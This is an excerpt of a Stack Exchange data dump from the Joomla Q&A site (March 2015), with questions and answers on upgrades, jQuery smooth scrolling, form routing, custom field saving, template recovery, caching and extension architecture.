  <row Id="8895" PostTypeId="2" ParentId="8875" CreationDate="2015-03-04T16:44:59.187" Score="4" Body="&lt;p&gt;Generally whilst we state that there is no upgrade path generally you can upgrade between releases fine. Especially on test sites. The differences occur for example during alpha1 and beta1 we introduced a new plugin for the new google recaptcha. At beta 2 we then removed it again and merged it with the existing plugin. That meant if you upgraded you would still have the plugin installed but it would not be maintained etc. The same goes for new files added and removed during the release period (and obviously we don't guarantee the security of said files - although we try and ensure they are as good as possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 3.2.2 we can have multiple database files per release so you database schema should always stay upto date (which used to be the major issue with upgrade paths).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary you should never upgrade live sites or base them on non-stable releases for the reason I listed in the first paragraph but for a straightforward testing site you should be fine just upgrading as usual via the Joomla upgrade component :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a personal note if it's just from 3.4 RC to live then I can tell you (as I released both) that there are none of the above issues from RC to the stable release. A very low number of changes were made between the RC and the stable release.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-03-04T16:44:59.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8896" PostTypeId="1" AcceptedAnswerId="8898" CreationDate="2015-03-04T18:11:04.030" Score="0" ViewCount="4732" Body="&lt;p&gt;I am trying to implement a smooth scroll when the user clicks on a link to an anchor in my Joomla site. The anchor link works fine, but the user is brought to the anchor instantly. I don't believe the javascript is working correctly, but I do not get any sort of error in my console on Google Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the exact working javascript I am using: &lt;a href=&quot;http://codepen.io/anon/pen/RNBMXZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://codepen.io/anon/pen/RNBMXZ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine there, but when I try to put it in my Joomla site, it does not. I currently have the script at the end of the article with the anchor, but I also tried to load it in a file in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, I do not see any sort of errors, so I'm not sure where to go from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here is the output of console.log(target) when the anchor link is clicked.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/elGSd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3816" LastEditorUserId="3816" LastEditDate="2015-03-05T18:13:50.033" LastActivityDate="2015-03-11T14:31:55.160" Title="Smooth Scroll to Anchor not working" Tags="|jquery|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8898" PostTypeId="2" ParentId="8896" CreationDate="2015-03-04T18:49:32.220" Score="0" Body="&lt;p&gt;It sounds like you may not have wrapped document ready around your code, so try copying and pasting the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){   &#xA;    $('a[href^=&quot;#&quot;]').on('click', function(e) {&#xA;&#xA;        var target = $( $(this).attr('href') );&#xA;&#xA;        if( target.length ) {&#xA;            e.preventDefault();&#xA;            $('html, body').animate({&#xA;                scrollTop: target.offset().top&#xA;            }, 1000);&#xA;        }   &#xA;    });  &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;The problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem being is that the child span element for your menu item has an &lt;code&gt;onclick&lt;/code&gt; function, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#test&quot;&amp;gt;&#xA;    &amp;lt;span onclick=&quot;window.document.location.href=&quot;#test&quot;&amp;gt;test&amp;lt;/span&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the standard &lt;code&gt;href=&quot;#test&quot;&lt;/code&gt; is not triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how your template works, but somehow, you need to remove the following from the span element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;window.document.location.href=&quot;#test&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-11T14:31:55.160" LastActivityDate="2015-03-11T14:31:55.160" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="1" CreationDate="2015-03-04T19:14:04.767" Score="1" ViewCount="153" Body="&lt;p&gt;I got the function addNew() that creates a form inside a backend component. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addNew() {&#xA;&#xA;    $route= JRoute::_( 'index.php?option=com_pelatol&amp;amp;task=insertyo');&#xA;    $html.='&amp;lt;form action=&quot;'.$route.'&quot; method=&quot;GET&quot; &amp;gt;&amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;Εισαγωγή Ακινήτων&amp;lt;/h3&amp;gt;';&#xA;    //$html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_pelatol&quot; /&amp;gt;';&#xA;    //$html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;insertyo&quot; /&amp;gt;';&#xA;&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Περιοχή&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;perioxi&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Εμβαδόν&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;embado&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Υπνοδομάτια&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;ipnodomatia&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Μπάνια&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;mpania&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Έτος&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;select&amp;gt;';&#xA;    $cYear=date(&quot;Y&quot;);&#xA;&#xA;&#xA;    for ($i=1950;$i&amp;lt;=$cYear;$i++) {&#xA;&#xA;        $html.='&amp;lt;option value=&quot;'.$i.'&quot;&amp;gt;- '.$i.' -&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    $html.='&amp;lt;/select&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Θέρμανση&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;thermansi&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Διαθέσιμο&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;diathesimo&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Οδός&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;odos&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Τιμή&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;timi&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;/div&amp;gt;&amp;lt;input type=&quot;submit&quot;/&amp;gt;&amp;lt;/form&amp;gt;';&#xA;    echo $html;&#xA;}&#xA;&#xA;&#xA;&#xA;function insertyo() {&#xA;   $session =&amp;amp; JFactory::getSession();&#xA;   var_dump($_GET);&#xA;   //$session-&amp;gt;get( 'perioxi' )&#xA;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the submit button the URL I'm getting redirected is : administrator/index.php?perioxi=asdas&amp;amp;embado=asdasd&amp;amp;ipnodomatia=adasd&amp;amp;mpania=asdasdas&amp;amp;thermansi=asdasd&amp;amp;diathesimo=asdasd&amp;amp;odos=asdasd&amp;amp;timi=asd. It ignores the &lt;code&gt;?option=com_pelatol&amp;amp;task=insertyo&lt;/code&gt; statement of Jroute. I'm currently using a &quot;hack&quot; to achieve the desired output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_pelatol&quot; /&amp;gt;';&#xA;//$html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;insertyo&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is another way. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T22:40:06.990" LastActivityDate="2019-04-21T23:15:10.367" Title="Form inside a backend component redirects me to index page" Tags="|joomla-2.5|component|development|form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="2" ParentId="3971" CreationDate="2015-03-04T19:50:05.123" Score="1" Body="&lt;p&gt;Plug-in for managements of built-in libraries Joomla. Main options: Mootools disable, Jquery disable, Bootstrap disable&#xA;&lt;a href=&quot;https://github.com/vlasenkofedor/joomla_options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/vlasenkofedor/joomla_options&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3818" LastEditorUserId="3818" LastEditDate="2019-04-02T11:48:12.713" LastActivityDate="2019-04-02T11:48:12.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8901" PostTypeId="2" ParentId="8899" CreationDate="2015-03-04T20:58:35.247" Score="1" Body="&lt;p&gt;You should change &lt;code&gt;method=&quot;GET&quot;&lt;/code&gt; to &lt;code&gt;method=&quot;POST&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3schools.com/tags/att_form_method.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTML  method Attribute&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="9471" LastEditDate="2019-04-21T23:15:10.367" LastActivityDate="2019-04-21T23:15:10.367" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="8902" PostTypeId="2" ParentId="8887" CreationDate="2015-03-04T21:34:27.647" Score="2" Body="&lt;p&gt;There is a naming issue. If the class does not match exactly what Joomla is looking for, then events are not going to be fired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin is &lt;strong&gt;plgiesrelatednewsprogramme&lt;/strong&gt;, the class name must be &lt;strong&gt;PlgK2Plgiesrelatednewsprogramme&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-04T21:34:27.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8903" PostTypeId="1" AcceptedAnswerId="8908" CreationDate="2015-03-04T21:40:21.040" Score="1" ViewCount="175" Body="&lt;p&gt;I'm trying to make my own field type and it works fine so far, but the values are not saved to the DB, where do I do that? I know there is a similar question but I'm not content with the answer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#__items&#xA;#__tags&#xA;#__item_tags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I query just the tags to get the options and then the intersection table to get the selected ones, the item id is known already. My class inherits from JFormFieldList to get the getInput functionality. I use this field inside a form xml to define it for the view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldMyTag extends JFormFieldList&#xA;{&#xA;    protected $type = 'MyTags';&#xA;&#xA;    protected function getOptions()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('all tags')-&amp;gt;from('tags');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;        $this-&amp;gt;value = $this-&amp;gt;getSelected(); // The input function takes this as an array of the selected values&#xA;        return $rows;&#xA;    }&#xA;&#xA;    protected function getSelected()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query  -&amp;gt;select('only the selected ones')-&amp;gt;from('intersection')-&amp;gt;where('id' = $this-&amp;gt;getAttribute('id');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;        return $rows;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is a way to remove and add entries to the intersection table, joomla seems not to do it automatically and I cant find anything in the docs.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastActivityDate="2015-03-05T13:42:17.803" Title="J3.3 custom field type - saving" Tags="|joomla-3.3.x|database|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8904" PostTypeId="2" ParentId="8874" CreationDate="2015-03-04T22:20:21.863" Score="1" Body="&lt;p&gt;To make it simple, if you only want to show an example, I would do this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php JHTML::_('behavior.modal'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.example.com/images/admin-login-example.png&quot; &#xA;class=&quot;modal-button btn modal&quot; style =&quot;min-width: 194px;&quot; &#xA;id=&quot;modalLink1&quot;&amp;gt;&amp;lt;span class=&quot;icon-screen&quot;&amp;gt; &amp;lt;/span&amp;gt; Preview&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where admin-login-example.png is a small screenshot of the login-page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...so you don't have to worry about showing a live login form just as an example...&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2015-03-04T22:20:21.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="1" AcceptedAnswerId="8907" CreationDate="2015-03-04T22:41:46.843" Score="5" ViewCount="3058" Body="&lt;p&gt;I was downloading different templates and trying them out and now have noticed that the default Protostar template is missing from the list of templates in the admin app.  How do I get it back?&lt;/p&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="1629" LastEditDate="2015-03-04T23:15:39.770" LastActivityDate="2017-07-17T19:49:31.323" Title="Joomla 3 Protostar template disappeared" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="1" AcceptedAnswerId="8910" CreationDate="2015-03-04T23:15:47.430" Score="1" ViewCount="561" Body="&lt;p&gt;I need to add a custom button to the toolbar inside of a system plugin, near 'save', 'save &amp;amp; close' and 'close' buttons.&#xA;How can I achieve it?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-03-05T09:23:16.690" Title="Add a custom button to plugin" Tags="|joomla-3.x|plugin|form-fields-types|styling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostTypeId="2" ParentId="8905" CreationDate="2015-03-04T23:20:52.803" Score="5" Body="&lt;p&gt;You can copy the template folder from the &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.4 full package&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply download the file, unzip everything (or only the &lt;code&gt;templates\protostar\&lt;/code&gt; folder) to your Joomla folder. Then use the discover function (&lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Extension Manager&lt;/strong&gt; -&gt; Discover) to discover and install the Protostar template again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lfD4.jpg&quot; alt=&quot;Discover extensions in Joomla&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-04T23:20:52.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="2" ParentId="8903" CreationDate="2015-03-05T07:34:12.443" Score="1" Body="&lt;p&gt;Of course CMS does not know about your intersection table (in your case it is &lt;code&gt;#__item_tags&lt;/code&gt;). When you save an item CMS only updates the corresponding &lt;code&gt;#__items&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should additionally call the method to save you tags. The best place for it is the &lt;code&gt;save()&lt;/code&gt; method of your model. I do not see all the code of your component, but this should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    // Try to save the item&#xA;    if (!parent::save($data))&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    // The item is saved, lets save the tags&#xA;    if (!$this-&amp;gt;saveTags($data))&#xA;    {&#xA;        return false;&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use &lt;code&gt;postSaveHook()&lt;/code&gt; method of the controller to run your &lt;code&gt;saveTags()&lt;/code&gt; method. See the example in &lt;a href=&quot;http:///administrator/components/com_categories/controllers/category.php&quot; rel=&quot;nofollow&quot;&gt;CategoriesControllerCategory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-03-05T13:42:17.803" LastActivityDate="2015-03-05T13:42:17.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="1" CreationDate="2015-03-05T09:19:46.750" Score="1" ViewCount="205" Body="&lt;p&gt;Thanks to be in this great community. I need a little help :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Smart Search enabled in a perfect configured multilanguage site.&#xA;All of content are indexed like i see in the backend, all languages are recognized.&#xA;(So i don't have problem like older J3.x where not all contents are indexed if in a multilanguage status)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default lang is EN, then i have IT FR RU ES and obvious the &quot;ALL&quot; language.&#xA;When i search in smart search (finder) module, it does a search only for the content with the actual language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have content in EN IT FR RU ES and &quot;ALL&quot; languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seem not possible to let Smart Search module find terms &quot;transversally&quot; in all languages enabled in site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug, a limit of Finder, or have i set something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!﻿&lt;/p&gt;&#xA;" OwnerUserId="3729" LastActivityDate="2015-11-26T23:29:54.700" Title="Smart Seach (finder) not search &quot;transversally&quot; in all languages enabled in site" Tags="|joomla-3.x|multilingual|smartsearch|bugs|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostTypeId="2" ParentId="8906" CreationDate="2015-03-05T09:23:16.690" Score="2" Body="&lt;p&gt;You can add custom button by working on event &lt;code&gt;onAfterRender()&lt;/code&gt; and add your html/js code in the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a sample code snippet you can add your code in this one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterRender()&#xA;    {&#xA;        $option = Jfactory::getApplication()-&amp;gt;input-&amp;gt;get('option', '');&#xA;        if($option != 'com_config'){&#xA;            return true;&#xA;        }&#xA;&#xA;        // Only render for HTML output&#xA;        if (JFactory::getDocument()-&amp;gt;getType() !== 'html' ) { return; }&#xA;&#xA;        //ADD HTML and JavaScript for your custom button&#xA;        $html = '';&#xA;&#xA;        $body = JFactory::getApplication()-&amp;gt;getBody(false);&#xA;        $body = str_replace('&amp;lt;/body&amp;gt;', $html.'&amp;lt;/body&amp;gt;', $body);&#xA;        JFactory::getApplication()-&amp;gt;setBody($body);&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-05T09:23:16.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="1" AcceptedAnswerId="8912" CreationDate="2015-03-05T09:59:32.940" Score="4" ViewCount="472" Body="&lt;p&gt;as my title says, I have problems regarding the loading time of my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I visit it as a guest, it's very fast but when I try to do the same loggin-in, I notice a very long time increase in the loading of the webpage. This happens to EVERY page on my Joomla website, I use K2, Jotcache and JCH Optimize. I also use Cloudflare as a CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is &lt;a href=&quot;http://sbenny.com&quot; rel=&quot;nofollow&quot;&gt;http://sbenny.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, it looks like the website is not cached for registered Users but I'm not sure about it. If this is what's really happening, is there a way to prevent this?&#xA;If not, what else should I try? I'm actually on a Shared Hosting Service but it's quite fast (less than 0.7s to completely render a webpage for guests)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3530" LastEditDate="2015-06-09T16:30:21.570" LastActivityDate="2015-06-09T16:30:21.570" Title="Why my joomla website is 10x slower if I visit as a Registered User?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8912" PostTypeId="2" ParentId="8911" CreationDate="2015-03-05T11:35:45.277" Score="1" Body="&lt;p&gt;your problem might be in caching as you are using jch,  i suggest you read the manual for jch to understand how it works. But to tell you in brief, if you have a js script that changes everytime the page loads or when a user interacts with the page then this will affect the .js file created by jch which will be changed forcing the browser to download it everytime(i.e no cach) you need to figure out which script is causing this. please &lt;a href=&quot;https://www.jch-optimize.net/documentation/tutorials/how-to-prevent-the-plugin-cache-from-growing-excessively.html&quot; rel=&quot;nofollow&quot;&gt;READ THIS&lt;/a&gt; as it explains how to figure out which script is casuing this.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2015-03-05T11:35:45.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostTypeId="2" ParentId="8911" CreationDate="2015-03-05T12:21:38.340" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.jotcomponents.net/forum/5-jotcache-extension/44-jotcache-does-not-work-for-logged-users&quot; rel=&quot;nofollow&quot;&gt;http://www.jotcomponents.net/forum/5-jotcache-extension/44-jotcache-does-not-work-for-logged-users&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JotCache extension follows the same basic rules as System-Cache in&#xA;  Joomla core. Here are allowed only pages for non-registred users to be&#xA;  cached in Joomla cache. For registred users is JotCache not active&#xA;  (per design). The major reason for this behavior is dynamic nature of&#xA;  most activities of registred users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-05T12:21:38.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostTypeId="1" CreationDate="2015-03-05T12:54:26.407" Score="1" ViewCount="323" Body="&lt;p&gt;Im gonna create an online shop using this template: &lt;a href=&quot;https://www.gavick.com/joomla-templates/responsive-ecommerce-virtuemart-joomla-template,92&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/joomla-templates/responsive-ecommerce-virtuemart-joomla-template,92&lt;/a&gt;&#xA;But it says that the template only supports VirtueMart 2.6 and I have to use Joomla 2.5...&#xA;My question is... can't I install VM 2.6 in Joomla 3.X (?)&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-05-04T16:51:20.487" Title="GK Bike Store Ecommerce template problem" Tags="|joomla-3.x|virtuemart|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8916" PostTypeId="2" ParentId="8915" CreationDate="2015-03-05T13:01:15.567" Score="1" Body="&lt;p&gt;No, you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, the XML file uses the &lt;code&gt;&amp;lt;install&amp;gt;&lt;/code&gt; tags which were used in Joomla 1.5 but still compatible in 2.5, so trying to install it will result in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;JInstaller: :Install: Can't find Joomla XML setup file.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In addition to that, it's probably using older coding standards, which will result in PHP errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would simply suggest finding another template that's compatible with VirtueMart 3.x (Joomla 3.x)&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-05T13:01:15.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="1" CreationDate="2015-03-05T17:18:05.640" Score="1" ViewCount="67" Body="&lt;p&gt;I created my own Joomla Library which holds a few utility functions and some views which should be shared with other extensions that need the same views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside one extensions (&quot;Redextension&quot;) view all i do is call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('mylib.views.objects');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The objects view is just a regular view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;class RedextensionViewObjects extends JViewLegacy&#xA;{&#xA;    function display($tpl=null) {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question is how would i go about abstracting the &quot;Redextension&quot; Prefix because that will of course not work if i use that view in another extension that is called &quot;Blueextension&quot;.&#xA;Same goes for Models. The extensions have the same DB structure and parts of the functionality, so it would be great if I could share that within a library.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2015-03-07T18:47:38.710" Title="Sharing Joomla views across extensions" Tags="|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostTypeId="2" ParentId="8917" CreationDate="2015-03-05T20:23:37.283" Score="1" Body="&lt;p&gt;A view is an extension asset. In plain Joomla library, there is no way to share a full view between extensions. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For instance, every extension install can have only one SQL script. To combine several installation SQL scripts, you have to write your own installer script.&lt;/li&gt;&#xA;&lt;li&gt;In addition, to load a set of Models or Views from a different location, you have to add them in your extension with a call to the library initialization, several &lt;strong&gt;JLoader::import or JLoader:register&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;JLayouts&lt;/strong&gt; can help you to share presentation code. &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On the other hand, in FoF world (&lt;a href=&quot;https://github.com/akeeba/fof&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/fof&lt;/a&gt;), you can call a view between extensions or modules. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = array(&#xA;                'option' =&amp;gt; 'com_todo',&#xA;                'view' =&amp;gt; 'tasks',&#xA;                'layout' =&amp;gt; $layout,&#xA;                'input' =&amp;gt; $input&#xA;);&#xA;&#xA;F0FDispatcher::getTmpInstance('com_todo', 'tasks', $config)-&amp;gt;dispatch();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-03-07T18:47:38.710" LastActivityDate="2015-03-07T18:47:38.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="1" CreationDate="2015-03-05T21:45:10.560" Score="0" ViewCount="147" Body="&lt;p&gt;How can I notify user about unsaved plugin parameters? &#xA;I have a plugin with a large number of settings and I would like to notify the user if he had made any changes to those settings but didn't save them yet. How could this be done? &lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="396" LastEditDate="2015-03-06T08:14:27.180" LastActivityDate="2015-04-06T06:32:18.257" Title="Notify user from unsaved data" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
